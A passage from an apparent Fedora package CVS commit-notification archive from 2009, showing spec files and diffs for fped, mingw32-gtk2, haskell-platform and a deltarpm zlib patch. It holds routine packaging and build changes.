# tar cjf fped-0.tar.bz2 fped-0
Source0:        %{name}-%{version}.tar.bz2
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  gtk2-devel
BuildRequires:  bison
BuildRequires:  flex
BuildRequires:  transfig
BuildRequires:  netpbm-progs
BuildRequires:  ImageMagick
     

%description
fped is an editor that allows the interactive creation of footprints of
electronic components. Footprint definitions are stored in a text format
that resembles a programming language.

The language is constrained such that anything that can be expressed in
the textual definition also has a straightforward equivalent operation
that can be performed through the GUI.

%prep
%setup -q

# Tuning makefile for fedora packaging guidelines
%{__sed} -i \
  -e "s|/usr/local|%{_prefix}|g" \
  -e "s|\$(PREFIX)/bin/|\$(DESTDIR)\$(PREFIX)/bin/|g" \
  -e "s|install -m|install -pm|" \
  -e "s|CFLAGS = |CFLAGS = %{optflags} |g" Makefile
  
# footprints as examples
mkdir -p footprints
cp -p *.fpd footprints/

%build
# Make verbose
export V=1
make dep
make manual
make %{?_smp_mflags}


%install
rm -rf %{buildroot}
install -d %{buildroot}%{_bindir}
make install DESTDIR=%{buildroot}


%clean
rm -rf %{buildroot}


%files
%defattr(-,root,root,-)
%doc README TODO gui.html manual/
%doc footprints/
%{_bindir}/%{name}


%changelog
* Wed Sep 30 2009 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> 0-0.1.r5664
- changed release tag to 0.1 and added instructions to download the sources.

* Tue Sep 29 2008 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> 0-1.r5664
- Initial package for fedora.


--- NEW FILE import.log ---
fped-0-0_1_r5664_fc11:EL-5:fped-0-0.1.r5664.fc11.src.rpm:1254373679


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/fped/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	30 Sep 2009 23:44:59 -0000	1.1
+++ .cvsignore	1 Oct 2009 05:12:29 -0000	1.2
@@ -0,0 +1 @@
+fped-0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/fped/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	30 Sep 2009 23:44:59 -0000	1.1
+++ sources	1 Oct 2009 05:12:29 -0000	1.2
@@ -0,0 +1 @@
+d6ff185133b7fbd02255eb8b96a45ccb  fped-0.tar.bz2



From epienbro at fedoraproject.org  Thu Oct  1 05:19:46 2009
From: epienbro at fedoraproject.org (epienbro)
Date: Thu,  1 Oct 2009 05:19:46 +0000 (UTC)
Subject: rpms/mingw32-gtk2/F-12 .cvsignore, 1.11, 1.12 mingw32-gtk2.spec,
	1.19, 1.20 sources, 1.11, 1.12
Message-ID: <20091001051946.8880811C00C1@cvs1.fedora.phx.redhat.com>

Author: epienbro

Update of /cvs/pkgs/rpms/mingw32-gtk2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31783/F-12

Modified Files:
	.cvsignore mingw32-gtk2.spec sources 
Log Message:
Update to 2.18.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-gtk2/F-12/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	23 Sep 2009 13:20:47 -0000	1.11
+++ .cvsignore	1 Oct 2009 05:19:46 -0000	1.12
@@ -1 +1 @@
-gtk+-2.18.0.tar.bz2
+gtk+-2.18.1.tar.bz2


Index: mingw32-gtk2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-gtk2/F-12/mingw32-gtk2.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- mingw32-gtk2.spec	23 Sep 2009 15:20:35 -0000	1.19
+++ mingw32-gtk2.spec	1 Oct 2009 05:19:46 -0000	1.20
@@ -6,7 +6,7 @@
 %define __debug_install_post %{_mingw32_debug_install_post}
 
 Name:           mingw32-gtk2
-Version:        2.18.0
+Version:        2.18.1
 Release:        1%{?dist}
 Summary:        MinGW Windows Gtk2 library
 
@@ -337,6 +337,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct  1 2009 Erik van Pienbroek <epienbro at fedoraproject.org> - 2.18.1-1
+- Update to 2.18.1
+
 * Wed Sep 23 2009 Erik van Pienbroek <epienbro at fedoraproject.org> - 2.18.0-1
 - Update to 2.18.0
 - Drop upstreamed patch


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-gtk2/F-12/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	23 Sep 2009 13:20:47 -0000	1.11
+++ sources	1 Oct 2009 05:19:46 -0000	1.12
@@ -1 +1 @@
-bb7ef5463a74a80454ced2c1d47a0192  gtk+-2.18.0.tar.bz2
+d6e0f982a84d393cd11e2ea90a9e3775  gtk+-2.18.1.tar.bz2



From epienbro at fedoraproject.org  Thu Oct  1 05:19:46 2009
From: epienbro at fedoraproject.org (epienbro)
Date: Thu,  1 Oct 2009 05:19:46 +0000 (UTC)
Subject: rpms/mingw32-gtk2/devel .cvsignore, 1.11, 1.12 mingw32-gtk2.spec,
	1.19, 1.20 sources, 1.11, 1.12
Message-ID: <20091001051946.DD81711C00C1@cvs1.fedora.phx.redhat.com>

Author: epienbro

Update of /cvs/pkgs/rpms/mingw32-gtk2/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31783/devel

Modified Files:
	.cvsignore mingw32-gtk2.spec sources 
Log Message:
Update to 2.18.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-gtk2/devel/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	23 Sep 2009 13:20:47 -0000	1.11
+++ .cvsignore	1 Oct 2009 05:19:46 -0000	1.12
@@ -1 +1 @@
-gtk+-2.18.0.tar.bz2
+gtk+-2.18.1.tar.bz2


Index: mingw32-gtk2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-gtk2/devel/mingw32-gtk2.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- mingw32-gtk2.spec	23 Sep 2009 15:20:35 -0000	1.19
+++ mingw32-gtk2.spec	1 Oct 2009 05:19:46 -0000	1.20
@@ -6,7 +6,7 @@
 %define __debug_install_post %{_mingw32_debug_install_post}
 
 Name:           mingw32-gtk2
-Version:        2.18.0
+Version:        2.18.1
 Release:        1%{?dist}
 Summary:        MinGW Windows Gtk2 library
 
@@ -337,6 +337,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct  1 2009 Erik van Pienbroek <epienbro at fedoraproject.org> - 2.18.1-1
+- Update to 2.18.1
+
 * Wed Sep 23 2009 Erik van Pienbroek <epienbro at fedoraproject.org> - 2.18.0-1
 - Update to 2.18.0
 - Drop upstreamed patch


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-gtk2/devel/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	23 Sep 2009 13:20:47 -0000	1.11
+++ sources	1 Oct 2009 05:19:46 -0000	1.12
@@ -1 +1 @@
-bb7ef5463a74a80454ced2c1d47a0192  gtk+-2.18.0.tar.bz2
+d6e0f982a84d393cd11e2ea90a9e3775  gtk+-2.18.1.tar.bz2



From chitlesh at fedoraproject.org  Thu Oct  1 05:21:02 2009
From: chitlesh at fedoraproject.org (Chitlesh GOORAH)
Date: Thu,  1 Oct 2009 05:21:02 +0000 (UTC)
Subject: rpms/fped/devel fped.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091001052102.75BA211C043C@cvs1.fedora.phx.redhat.com>

Author: chitlesh

Update of /cvs/pkgs/rpms/fped/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32332/devel

Modified Files:
	.cvsignore sources 
Added Files:
	fped.spec import.log 
Log Message:
first package


--- NEW FILE fped.spec ---
Name:           fped
Version:        0
Release:        0.1.r5664%{?dist}
Summary:        A footprint editor used by openmoko developers

Group:          Applications/Engineering
License:        GPLv2+
URL:            http://openmoko.org
# grabbed from svn
# svn export -r 5664 http://svn.openmoko.org/trunk/eda/fped fped-0
# tar cjf fped-0.tar.bz2 fped-0
Source0:        %{name}-%{version}.tar.bz2
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  gtk2-devel
BuildRequires:  bison
BuildRequires:  flex
BuildRequires:  transfig
BuildRequires:  netpbm-progs
BuildRequires:  ImageMagick
     

%description
fped is an editor that allows the interactive creation of footprints of
electronic components. Footprint definitions are stored in a text format
that resembles a programming language.

The language is constrained such that anything that can be expressed in
the textual definition also has a straightforward equivalent operation
that can be performed through the GUI.

%prep
%setup -q

# Tuning makefile for fedora packaging guidelines
%{__sed} -i \
  -e "s|/usr/local|%{_prefix}|g" \
  -e "s|\$(PREFIX)/bin/|\$(DESTDIR)\$(PREFIX)/bin/|g" \
  -e "s|install -m|install -pm|" \
  -e "s|CFLAGS = |CFLAGS = %{optflags} |g" Makefile
  
# footprints as examples
mkdir -p footprints
cp -p *.fpd footprints/

%build
# Make verbose
export V=1
make dep
make manual
make %{?_smp_mflags}


%install
rm -rf %{buildroot}
install -d %{buildroot}%{_bindir}
make install DESTDIR=%{buildroot}


%clean
rm -rf %{buildroot}


%files
%defattr(-,root,root,-)
%doc README TODO gui.html manual/
%doc footprints/
%{_bindir}/%{name}


%changelog
* Wed Sep 30 2009 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> 0-0.1.r5664
- changed release tag to 0.1 and added instructions to download the sources.

* Tue Sep 29 2008 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> 0-1.r5664
- Initial package for fedora.


--- NEW FILE import.log ---
fped-0-0_1_r5664_fc11:HEAD:fped-0-0.1.r5664.fc11.src.rpm:1254374163


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/fped/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	30 Sep 2009 23:44:59 -0000	1.1
+++ .cvsignore	1 Oct 2009 05:21:02 -0000	1.2
@@ -0,0 +1 @@
+fped-0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/fped/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	30 Sep 2009 23:44:59 -0000	1.1
+++ sources	1 Oct 2009 05:21:02 -0000	1.2
@@ -0,0 +1 @@
+d6ff185133b7fbd02255eb8b96a45ccb  fped-0.tar.bz2



From chitlesh at fedoraproject.org  Thu Oct  1 05:24:13 2009
From: chitlesh at fedoraproject.org (Chitlesh GOORAH)
Date: Thu,  1 Oct 2009 05:24:13 +0000 (UTC)
Subject: rpms/fped/F-12 fped.spec, NONE, 1.1 import.log, NONE, 1.1 .cvsignore,
	1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091001052413.3A00A11C00C1@cvs1.fedora.phx.redhat.com>

Author: chitlesh

Update of /cvs/pkgs/rpms/fped/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1058/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	fped.spec import.log 
Log Message:
first package


--- NEW FILE fped.spec ---
Name:           fped
Version:        0
Release:        0.1.r5664%{?dist}
Summary:        A footprint editor used by openmoko developers

Group:          Applications/Engineering
License:        GPLv2+
URL:            http://openmoko.org
# grabbed from svn
# svn export -r 5664 http://svn.openmoko.org/trunk/eda/fped fped-0
# tar cjf fped-0.tar.bz2 fped-0
Source0:        %{name}-%{version}.tar.bz2
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  gtk2-devel
BuildRequires:  bison
BuildRequires:  flex
BuildRequires:  transfig
BuildRequires:  netpbm-progs
BuildRequires:  ImageMagick
     

%description
fped is an editor that allows the interactive creation of footprints of
electronic components. Footprint definitions are stored in a text format
that resembles a programming language.

The language is constrained such that anything that can be expressed in
the textual definition also has a straightforward equivalent operation
that can be performed through the GUI.

%prep
%setup -q

# Tuning makefile for fedora packaging guidelines
%{__sed} -i \
  -e "s|/usr/local|%{_prefix}|g" \
  -e "s|\$(PREFIX)/bin/|\$(DESTDIR)\$(PREFIX)/bin/|g" \
  -e "s|install -m|install -pm|" \
  -e "s|CFLAGS = |CFLAGS = %{optflags} |g" Makefile
  
# footprints as examples
mkdir -p footprints
cp -p *.fpd footprints/

%build
# Make verbose
export V=1
make dep
make manual
make %{?_smp_mflags}


%install
rm -rf %{buildroot}
install -d %{buildroot}%{_bindir}
make install DESTDIR=%{buildroot}


%clean
rm -rf %{buildroot}


%files
%defattr(-,root,root,-)
%doc README TODO gui.html manual/
%doc footprints/
%{_bindir}/%{name}


%changelog
* Wed Sep 30 2009 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> 0-0.1.r5664
- changed release tag to 0.1 and added instructions to download the sources.

* Tue Sep 29 2008 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> 0-1.r5664
- Initial package for fedora.


--- NEW FILE import.log ---
fped-0-0_1_r5664_fc11:F-12:fped-0-0.1.r5664.fc11.src.rpm:1254374632


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/fped/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	30 Sep 2009 23:44:59 -0000	1.1
+++ .cvsignore	1 Oct 2009 05:24:13 -0000	1.2
@@ -0,0 +1 @@
+fped-0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/fped/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	30 Sep 2009 23:44:59 -0000	1.1
+++ sources	1 Oct 2009 05:24:13 -0000	1.2
@@ -0,0 +1 @@
+d6ff185133b7fbd02255eb8b96a45ccb  fped-0.tar.bz2



From petersen at fedoraproject.org  Thu Oct  1 05:27:29 2009
From: petersen at fedoraproject.org (Jens Petersen)
Date: Thu,  1 Oct 2009 05:27:29 +0000 (UTC)
Subject: rpms/haskell-platform/F-11 haskell-platform.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091001052729.8639411C00C1@cvs1.fedora.phx.redhat.com>

Author: petersen

Update of /cvs/pkgs/rpms/haskell-platform/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1556

Modified Files:
	.cvsignore sources 
Added Files:
	haskell-platform.spec 
Log Message:
downgrade to haskell-platform-2009.2.0.1 for f11


--- NEW FILE haskell-platform.spec ---
%bcond_without doc
%bcond_without prof

# ghc does not emit debug information
%global debug_package %{nil}

%define platform_progs()\
%{?1}Requires:       ghc = 6.10.3\
%{?1}Requires:       cabal-install = 0.6.2\
%{?1}Requires:       alex = 2.3.1\
%{?1}Requires:       happy = 1.18.4\
%{nil}

%define platform_libs()\
%{?2}Requires:       ghc-cgi-%1 = 3001.1.7.1\
%{?2}Requires:       ghc-fgl-%1 = 5.4.2.2\
%{?2}Requires:       ghc-editline-%1 = 0.2.1.0\
%{?2}Requires:       ghc-GLUT-%1 = 2.1.1.2\
%{?2}Requires:       ghc-network-%1 = 2.2.1.1\
%{?2}Requires:       ghc-OpenGL-%1 = 2.2.1.1\
%{?2}Requires:       ghc-time-%1 = 1.1.2.4\
%{?2}Requires:       ghc-zlib-%1 = 0.5.0.0\
%{?2}Requires:       ghc-HTTP-%1 = 4000.0.6\
# following are part of ghc-6.10 extralibs\
# %{?2}Requires:       ghc-HUnit-%1 = 1.2.0.3\
# (all rest need to be packaged for 6.12):\
# %{?2}Requires:       ghc-QuickCheck-%1 = 1.2.0.0\
# %{?2}Requires:       ghc-haskell-src-%1 = 1.0.1.3\
# %{?2}Requires:       ghc-html-%1 = 1.0.1.2\
# %{?2}Requires:       ghc-mtl-%1 = 1.1.0.2\
# %{?2}Requires:       ghc-parsec-%1 = 2.1.0.1\
# %{?2}Requires:       ghc-parallel-%1 = 1.1.0.1\
# %{?2}Requires:       ghc-regex-base-%1 = 0.72.0.2\
# %{?2}Requires:       ghc-regex-compat-%1 = 0.71.0.1\
# %{?2}Requires:       ghc-regex-posix-%1 = 0.72.0.3\
# %{?2}Requires:       ghc-stm-%1 = 2.1.1.2\
# %{?2}Requires:       ghc-xhtml-%1 = 3000.2.0.1\
%{nil}


Name:           haskell-platform
Version:        2009.2.0.1
Release:        1%{?dist}
Summary:        Standard Haskell distribution

Group:          Development/Tools
License:        BSD
URL:            http://hackage.haskell.org/platform
Source0:        http://hackage.haskell.org/platform/%{version}/cabal/%{name}-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
# fedora ghc archs:
ExclusiveArch:  %{ix86} x86_64 ppc alpha
BuildRequires:  ghc, ghc-rpm-macros
%if %{with doc}
BuildRequires:  ghc-doc
%endif
%if %{with prof}
BuildRequires:  ghc-prof
%endif
%platform_progs Build
%platform_libs devel Build
%platform_progs
Requires:       ghc-haskell-platform-devel = %{version}

%description
The Haskell Platform is a blessed library and tool suite for Haskell
distilled from Hackage.


%package -n ghc-%{name}-devel
Summary:        Standard Haskell distribution libraries
Group:          Development/Libraries
Provides:       ghc-%{name} = %{version}-%{release}
Requires:       ghc = %{ghc_version}
Requires(post): ghc = %{ghc_version}
Requires(preun): ghc = %{ghc_version}
%platform_libs devel

%description -n ghc-%{name}-devel
This package contains the development files for %{name}
built for ghc-%{ghc_version}.


%if %{with doc}
%package -n ghc-%{name}-doc
Summary:        Standard Haskell distribution documentation
Group:          Development/Libraries
Requires:       ghc-doc = %{ghc_version}
Requires(post): ghc-doc = %{ghc_version}
Requires(postun): ghc-doc = %{ghc_version}
%platform_libs doc

%description -n ghc-%{name}-doc
This package contains development documentation files for the
%{name} library.
%endif


%if %{with prof}
%package -n ghc-%{name}-prof
Summary:        Standard Haskell distribution profiling libraries
Group:          Development/Libraries
Requires:       ghc-%{name}-devel = %{version}-%{release}
Requires:       ghc-prof = %{ghc_version}
%platform_libs prof

%description -n ghc-%{name}-prof
This package contains profiling libraries for %{name}
built for ghc-%{ghc_version}.
%endif


%prep
%setup -q


%build
%cabal_configure --ghc %{?with_prof:-p}
%cabal build
%if %{with doc}
%cabal haddock
%endif
%ghc_gen_scripts


%install
rm -rf $RPM_BUILD_ROOT
%cabal_install
# metapackage so need to create:
mkdir -p $RPM_BUILD_ROOT%{ghcpkgdir}
%ghc_install_scripts
%ghc_gen_filelists ghc-%{name}


%clean
rm -rf $RPM_BUILD_ROOT


%post -n ghc-%{name}-devel
%ghc_register_pkg


%if %{with doc}
%post -n ghc-%{name}-doc
%ghc_reindex_haddock
%endif


%preun -n ghc-%{name}-devel
if [ "$1" -eq 0 ] ; then
  %ghc_unregister_pkg
fi


%if %{with doc}
%postun -n ghc-%{name}-doc
if [ "$1" -eq 0 ] ; then
  %ghc_reindex_haddock
fi
%endif


%files
%defattr(-,root,root,-)
%doc LICENSE


%files -n ghc-%{name}-devel -f ghc-%{name}-devel.files
%defattr(-,root,root,-)


%if %{with doc}
%files -n ghc-%{name}-doc -f ghc-%{name}-doc.files
%defattr(-,root,root,-)
%endif


%if %{with prof}
%files -n ghc-%{name}-prof -f ghc-%{name}-prof.files
%defattr(-,root,root,-)
%endif


%changelog
* Thu Oct  1 2009 Jens Petersen <petersen at redhat.com> - 2009.2.0.1-1
- downgrade to haskell-platform-2009.2.0.1 for ghc-6.10.3
  and ghc-network-2.2.1.1

* Mon Sep 28 2009 Jens Petersen <petersen at redhat.com>
- fix rpmlint warnings (bos, #523883)

* Mon Sep 28 2009 Jens Petersen <petersen at redhat.com>
- add all the buildrequires (#523883)
- create ghcpkgdir since metapackage
- nothing in bindir

* Thu Sep 17 2009 Jens Petersen <petersen at redhat.com>
- initial packaging for Fedora


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/haskell-platform/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	29 Sep 2009 09:29:28 -0000	1.1
+++ .cvsignore	1 Oct 2009 05:27:29 -0000	1.2
@@ -0,0 +1 @@
+haskell-platform-2009.2.0.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/haskell-platform/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Sep 2009 09:29:29 -0000	1.1
+++ sources	1 Oct 2009 05:27:29 -0000	1.2
@@ -0,0 +1 @@
+517c852b12e0f9021694d7706d0194dd  haskell-platform-2009.2.0.1.tar.gz



From toshio at fedoraproject.org  Thu Oct  1 05:40:55 2009
From: toshio at fedoraproject.org (=?utf-8?b?VG9zaGlvIOOBj+OCieOBqOOBvw==?=)
Date: Thu,  1 Oct 2009 05:40:55 +0000 (UTC)
Subject: rpms/deltarpm/F-12 deltarpm-system-zlib.patch, 1.1,
	1.2 deltarpm.spec, 1.32, 1.33
Message-ID: <20091001054055.152EA11C00C1@cvs1.fedora.phx.redhat.com>

Author: toshio

Update of /cvs/pkgs/rpms/deltarpm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2882

Modified Files:
	deltarpm-system-zlib.patch deltarpm.spec 
Log Message:

* Wed Sep 30 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 3.5-0.4.20090913git
- Update patch to properly detect when an rpm is built with an rsync-friendly
  zlib and bail out.


deltarpm-system-zlib.patch:
 Makefile |   27 +++++++++++++++------------
 cfile.c  |   60 ++++++++++++++++++++++++++++++++++++++++++++++++------------
 2 files changed, 63 insertions(+), 24 deletions(-)

Index: deltarpm-system-zlib.patch
===================================================================
RCS file: /cvs/pkgs/rpms/deltarpm/F-12/deltarpm-system-zlib.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- deltarpm-system-zlib.patch	30 Sep 2009 17:24:36 -0000	1.1
+++ deltarpm-system-zlib.patch	1 Oct 2009 05:40:54 -0000	1.2
@@ -2,63 +2,186 @@ Index: deltarpm-git-20090913/Makefile
 ===================================================================
 --- deltarpm-git-20090913.orig/Makefile
 +++ deltarpm-git-20090913/Makefile
-@@ -3,10 +3,9 @@ bindir=$(prefix)/bin
- libdir=$(prefix)/lib
+@@ -4,9 +4,12 @@ libdir=$(prefix)/lib
  mandir=$(prefix)/man
  rpmdumpheader=$(bindir)/rpmdumpheader
--zlibdir=zlib-1.2.2.f-rsyncable
+ zlibdir=zlib-1.2.2.f-rsyncable
++zlibbundled=$(zlibdir)/libz.a
++zlibldflags=$(zlibbundled)
++zlibcppflags=-I$(zlibdir)
  CFLAGS = -fPIC -O2 -Wall -g
 -CPPFLAGS = -fPIC -DDELTARPM_64BIT -DBSDIFF_NO_SUF -DRPMDUMPHEADER=\"$(rpmdumpheader)\" -I$(zlibdir)
 -LDLIBS = -lbz2 $(zlibdir)/libz.a -llzma
-+CPPFLAGS = -fPIC -DDELTARPM_64BIT -DBSDIFF_NO_SUF -DRPMDUMPHEADER=\"$(rpmdumpheader)\" -I.
-+LDLIBS = -lbz2 -lz -llzma
++CPPFLAGS = -fPIC -DDELTARPM_64BIT -DBSDIFF_NO_SUF -DRPMDUMPHEADER=\"$(rpmdumpheader)\" $(zlibcppflags)
++LDLIBS = -lbz2 $(zlibldflags) -llzma
  LDFLAGS =
  PYTHONVERS = $(shell ls /usr/include/python*/Python.h | sed "s|/usr/include/||g"| sed "s|/Python.h||g")
  
-@@ -14,37 +13,33 @@ all: makedeltarpm applydeltarpm rpmdumph
+@@ -14,31 +17,31 @@ all: makedeltarpm applydeltarpm rpmdumph
  
  python: _deltarpmmodule.so
  
 -makedeltarpm: makedeltarpm.o writedeltarpm.o md5.o util.o rpml.o rpmhead.o cpio.o delta.o cfile.o $(zlibdir)/libz.a
-+makedeltarpm: makedeltarpm.o writedeltarpm.o md5.o util.o rpml.o rpmhead.o cpio.o delta.o cfile.o
++makedeltarpm: makedeltarpm.o writedeltarpm.o md5.o util.o rpml.o rpmhead.o cpio.o delta.o cfile.o $(zlibbundled)
  
 -applydeltarpm: applydeltarpm.o readdeltarpm.o md5.o sha256.o util.o rpmhead.o cpio.o cfile.o prelink.o $(zlibdir)/libz.a
-+applydeltarpm: applydeltarpm.o readdeltarpm.o md5.o sha256.o util.o rpmhead.o cpio.o cfile.o prelink.o
++applydeltarpm: applydeltarpm.o readdeltarpm.o md5.o sha256.o util.o rpmhead.o cpio.o cfile.o prelink.o $(zlibbundled)
  
 -combinedeltarpm: combinedeltarpm.o md5.o util.o rpmhead.o cfile.o readdeltarpm.o writedeltarpm.o $(zlibdir)/libz.a
-+combinedeltarpm: combinedeltarpm.o md5.o util.o rpmhead.o cfile.o readdeltarpm.o writedeltarpm.o
++combinedeltarpm: combinedeltarpm.o md5.o util.o rpmhead.o cfile.o readdeltarpm.o writedeltarpm.o $(zlibbundled)
  
  rpmdumpheader: rpmdumpheader.o
  	$(CC) $(LDFLAGS) $^ -lrpm -o $@
  
 -makedeltaiso: makedeltaiso.o delta.o rpmoffs.o rpmhead.o util.o md5.o cfile.o $(zlibdir)/libz.a
-+makedeltaiso: makedeltaiso.o delta.o rpmoffs.o rpmhead.o util.o md5.o cfile.o
++makedeltaiso: makedeltaiso.o delta.o rpmoffs.o rpmhead.o util.o md5.o cfile.o $(zlibbundled)
  
 -applydeltaiso: applydeltaiso.o util.o md5.o cfile.o $(zlibdir)/libz.a
-+applydeltaiso: applydeltaiso.o util.o md5.o cfile.o
++applydeltaiso: applydeltaiso.o util.o md5.o cfile.o $(zlibbundled)
  
 -fragiso: fragiso.o util.o md5.o rpmhead.o cfile.o $(zlibdir)/libz.a
-+fragiso: fragiso.o util.o md5.o rpmhead.o cfile.o
++fragiso: fragiso.o util.o md5.o rpmhead.o cfile.o $(zlibbundled)
  
 -_deltarpmmodule.so: readdeltarpm.o rpmhead.o util.o md5.o cfile.o $(zlibdir)/libz.a
-+_deltarpmmodule.so: readdeltarpm.o rpmhead.o util.o md5.o cfile.o
++_deltarpmmodule.so: readdeltarpm.o rpmhead.o util.o md5.o cfile.o $(zlibbundled)
  	for ver in $(PYTHONVERS) ; do \
  		if [ ! -f "$$ver/$@" ]; then \
  			mkdir -p $$ver ;\
 -			$(CC) $(CFLAGS) -I/usr/include/$$ver -I$(zlibdir) -fPIC -c -o $$ver/deltarpmmodule.o deltarpmmodule.c ;\
 -			$(CC) -o $$ver/$@ $$ver/deltarpmmodule.o $^ -shared -Wl,-soname,_deltarpmmodule.so $(zlibdir)/libz.a -llzma -lbz2; \
-+			$(CC) $(CFLAGS) -I/usr/include/$$ver -fPIC -c -o $$ver/deltarpmmodule.o deltarpmmodule.c ;\
-+			$(CC) -o $$ver/$@ $$ver/deltarpmmodule.o $^ -shared -Wl,-soname,_deltarpmmodule.so -lz -llzma -lbz2; \
++			$(CC) $(CFLAGS) -I/usr/include/$$ver $(zlibcppflag) -fPIC -c -o $$ver/deltarpmmodule.o deltarpmmodule.c ;\
++			$(CC) -o $$ver/$@ $$ver/deltarpmmodule.o $^ -shared -Wl,-soname,_deltarpmmodule.so $(LDLIBS); \
  		fi; \
  	done
  
 -$(zlibdir)/libz.a:
--	cd $(zlibdir) ; make CFLAGS="-fPIC $(CFLAGS)" libz.a
--
++$(zlibbundled):
+ 	cd $(zlibdir) ; make CFLAGS="-fPIC $(CFLAGS)" libz.a
+ 
  clean:
- 	rm -f *.o
- 	rm -f makedeltarpm applydeltarpm combinedeltarpm rpmdumpheader makedeltaiso applydeltaiso fragiso
--	cd $(zlibdir) ; make clean
+Index: deltarpm-git-20090913/cfile.c
+===================================================================
+--- deltarpm-git-20090913.orig/cfile.c
++++ deltarpm-git-20090913/cfile.c
+@@ -888,8 +888,6 @@ crunread_un(struct cfile *f, void *buf, 
+ }
+ 
+ 
+-#ifdef Z_RSYNCABLE
+-
+ int
+ cfile_detect_rsync(struct cfile *f)
+ {
+@@ -919,10 +917,22 @@ cfile_detect_rsync(struct cfile *f)
+     }
+   for (i = 0; i < 2; i++)
+     {
++#ifndef Z_RSYNCABLE
++      /* Rsync friendly zlib not available, don't set up a compressor for it
++       * */
++      if (i)
++	{
++	  break;
++	}
++#endif
+       cstrm[i].zalloc = 0;
+       cstrm[i].zfree = 0;
+       cstrm[i].opaque = 0;
++#ifdef Z_RSYNCABLE
+       if (deflateInit2(&cstrm[i], Z_BEST_COMPRESSION, Z_DEFLATED, -MAX_WBITS, 8, Z_DEFAULT_STRATEGY | (i == 1 ? Z_RSYNCABLE : 0)) != Z_OK)
++#else
++      if (deflateInit2(&cstrm[i], Z_BEST_COMPRESSION, Z_DEFLATED, -MAX_WBITS, 8, Z_DEFAULT_STRATEGY) != Z_OK)
++#endif
+ 	{
+ 	  if (i)
+ 	    deflateEnd(&cstrm[0]);
+@@ -964,6 +974,23 @@ cfile_detect_rsync(struct cfile *f)
+ 		{
+ 		  for (i = 0; i < 2 && !done; i++)
+ 		    {
++#ifndef Z_RSYNCABLE
++		      /* No rsync friendly zlib so we can only test against
++		       * COMP_GZ.  This is suboptimal as it's only when we
++		       * run into an error that we can cut to the end.  So
++		       * we're forced to uncompress and recompress the whole
++		       * output.  Need to determine if we can determine that
++		       * we used the other algorithm is being used after
++		       * decompressing a certain amount of blocks.  Perhaps
++		       * after RSYNC_WIN or MAX_DIST blocks have been
++		       * decompressed we can know whether COMP_GZ_RSYNC was
++		       * used?
++		       */
